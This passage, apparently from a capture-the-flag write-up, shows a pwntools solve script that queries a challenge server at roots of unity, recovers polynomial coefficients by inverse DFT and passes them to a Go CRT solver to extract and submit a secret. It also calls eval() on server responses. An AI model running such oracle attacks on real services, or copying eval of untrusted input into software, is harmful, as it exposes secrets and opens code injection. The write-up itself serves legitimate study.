class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">F</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> f</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x</span><span class="z-keyword z-operator">^</span><span class="z-constant z-numeric">12</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-source"> roots</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">roots</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">multiplicities</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">False</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> assert</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">roots</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 12</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;Failed to find 12 roots of unity.&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> w</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-language z-python"> None</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # *** FIX: Iterate directly over the roots, not tuples ***</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> r</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> roots</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> r</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">multiplicative_order</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 12</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> w</span><span class="z-keyword z-operator"> =</span><span class="z-source"> r</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> assert</span><span class="z-source"> w</span><span class="z-keyword z-operator z-logical z-python"> is not</span><span class="z-constant z-language z-python"> None</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;Failed to find a primitive 12th root of unity.&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 3. Query the server</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;&gt;&gt;&gt; &quot;</span><span class="z-punctuation">,</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string z-string">&quot;1&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;What&#39;s Your Favorite Prime : &quot;</span><span class="z-punctuation">,</span><span class="z-support z-type z-python"> str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> query_points</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-source">w</span><span class="z-keyword z-operator">^</span><span class="z-source">k</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> k</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">12</span><span class="z-punctuation">)]</span></span> <span class="giallo-l"><span class="z-source"> query_str</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string z-string"> &quot;,&quot;</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">join</span><span class="z-punctuation">([</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">pt</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-meta z-function-call z-arguments z-python"> pt</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-meta z-function-call z-arguments z-python"> query_points</span><span class="z-punctuation">])</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;&gt; &quot;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> query_str</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> response_line</span><span class="z-keyword z-operator"> =</span><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> shares_str</span><span class="z-keyword z-operator"> =</span><span class="z-source"> response_line</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">split</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot; : &quot;</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source"> shares</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-meta z-function-call z-python">F</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">s</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> s</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> eval</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">shares_str</span><span class="z-punctuation">)]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 4. Use IDFT to calculate candidate coefficients</span></span> <span class="giallo-l"><span class="z-source"> candidates</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"><span class="z-source"> inv12</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> F</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">/</span><span class="z-constant z-numeric">12</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> m</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">5</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 12</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> am</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 0</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> k</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">12</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> am</span><span class="z-keyword z-operator"> +=</span><span class="z-meta z-indexed-name z-python"> shares</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">k</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> *</span><span class="z-source"> w</span><span class="z-keyword z-operator">^</span><span class="z-punctuation">(</span><span class="z-keyword z-operator">-</span><span class="z-source">m</span><span class="z-keyword z-operator"> *</span><span class="z-source"> k</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> am</span><span class="z-keyword z-operator"> *=</span><span class="z-source"> inv12</span></span> <span class="giallo-l"><span class="z-source"> candidates</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">int</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">am</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 5. Feed the data to the Go solver via its stdin</span></span> <span class="giallo-l"><span class="z-source"> cand_strs</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">c</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> c</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> candidates</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source"> output_line</span><span class="z-keyword z-operator"> =</span><span class="z-storage z-type z-string z-python"> f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-source">p</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">,</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-punctuation z-definition z-string z-string">&#39;,&#39;</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">join</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">cand_strs</span><span class="z-punctuation">)</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span></span> <span class="giallo-l"><span class="z-source"> go_stdin</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">write</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">output_line</span><span class="z-keyword z-operator"> +</span><span class="z-punctuation z-definition z-string"> &#39;</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> go_stdin</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">flush</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[+] Gathered and sent candidates for p = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> main</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # --- Start the Go Solver Subprocess ---</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[*] Launching Go solver in the background...&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> go_proc</span><span class="z-keyword z-operator"> =</span><span class="z-source"> subprocess</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">Popen</span><span class="z-punctuation">(</span></span> <span class="giallo-l"><span class="z-punctuation"> [</span><span class="z-meta z-function-call z-arguments z-python">GO_SOLVER_PATH</span><span class="z-punctuation">],</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> stdin</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">subprocess</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">PIPE</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> stdout</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">subprocess</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">PIPE</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> stderr</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> text</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">True</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> bufsize</span><span class="z-keyword z-operator">=</span><span class="z-support z-type z-python">int</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> )</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-support z-type z-exception z-python"> FileNotFoundError</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[-] Error: Go solver executable not found at &#39;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">GO_SOLVER_PATH</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&#39;&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[-] Please compile it first: go build -o </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">GO_SOLVER_PATH</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string"> solver4_final.go&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">exit</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # --- Interact with Server and Feed Solver ---</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> remote</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">HOST</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> PORT</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> i</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">N_INTERACTIONS</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-escape">\n</span><span class="z-string">--- Interaction </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">/</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">N_INTERACTIONS</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string"> ---&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-meta z-function-call z-python"> get_candidates_and_feed_solver</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">io</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> go_proc</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stdin</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-support z-type z-exception z-python"> Exception</span><span class="z-keyword z-control z-flow z-python"> as</span><span class="z-source"> e</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[-] An error occurred: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">e</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">. Aborting.&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> go_proc</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">kill</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">exit</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # --- Get Result from Go and Submit ---</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-constant z-character z-escape">\n</span><span class="z-string z-punctuation z-definition z-string">[*] All candidates sent to Go solver. Closing its input and waiting for the result.&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> go_proc</span><span class="z-punctuation">.</span><span class="z-source">stdin</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> result_dec</span><span class="z-keyword z-operator"> =</span><span class="z-source"> go_proc</span><span class="z-punctuation">.</span><span class="z-source">stdout</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">readline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> go_proc</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">wait</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python z-keyword z-operator z-logical z-python"> if not</span><span class="z-source"> result_dec</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[-] Go solver finished without finding a solution.&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[+] Go solver found the secret! (decimal): </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">result_dec</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> secret_hex</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> hex</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">int</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">result_dec</span><span class="z-punctuation">))[</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">:]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[*] Submitting final secret (hex): </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">secret_hex</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;&gt;&gt;&gt; &quot;</span><span class="z-punctuation">,</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string z-string">&quot;2&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;Guess the secret : &quot;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> secret_hex</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">interactive</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">close</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">if</span><span class="z-support z-variable z-magic z-python"> __name__</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &quot;__main__&quot;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-meta z-function-call z-python"> main</span><span class="z-punctuation">()</span></span></code></pre><pre class="giallo z-code"><code data-lang="go"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">// Filename: solver4_final.go</span></span> <span class="giallo-l"><span class="z-keyword">package</span><span class="z-entity z-name z-type"> main</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-punctuation"> (</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;bufio&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;fmt&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;math/big&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;os&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;runtime&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;strings&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;sync&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;time&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string z-string"> &quot;github.com/schollz/progressbar/v3&quot;</span></span> <span class="giallo-l"><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">type</span><span class="z-entity z-name z-type"> CrtTask</span><span class="z-keyword"> struct</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> Modulus</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span></span> <span class="giallo-l"><span class="z-source"> Candidates</span><span class="z-punctuation"> []</span><span class="z-keyword z-operator">*</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">type</span><span class="z-entity z-name z-type"> CrtContext</span><span class="z-keyword"> struct</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> nInv</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span></span> <span class="giallo-l"><span class="z-source"> mInv</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span></span> <span class="giallo-l"><span class="z-source"> term1</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span></span> <span class="giallo-l"><span class="z-source"> term2</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">func</span><span class="z-entity z-name z-function"> NewCrtContext</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">CrtContext</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">CrtContext</span><span class="z-punctuation">{</span></span> <span class="giallo-l"><span class="z-source"> nInv</span><span class="z-punctuation">:</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> mInv</span><span class="z-punctuation">:</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> term1</span><span class="z-punctuation">:</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> term2</span><span class="z-punctuation">:</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">// A robust, symmetric implementation of CRT</span></span> <span class="giallo-l"><span class="z-keyword">func</span><span class="z-punctuation"> (</span><span class="z-variable z-parameter">c </span><span class="z-keyword z-operator">*</span><span class="z-entity z-name z-type">CrtContext</span><span class="z-punctuation">)</span><span class="z-entity z-name z-function"> Crt</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">a</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> m</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> b</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> n</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name 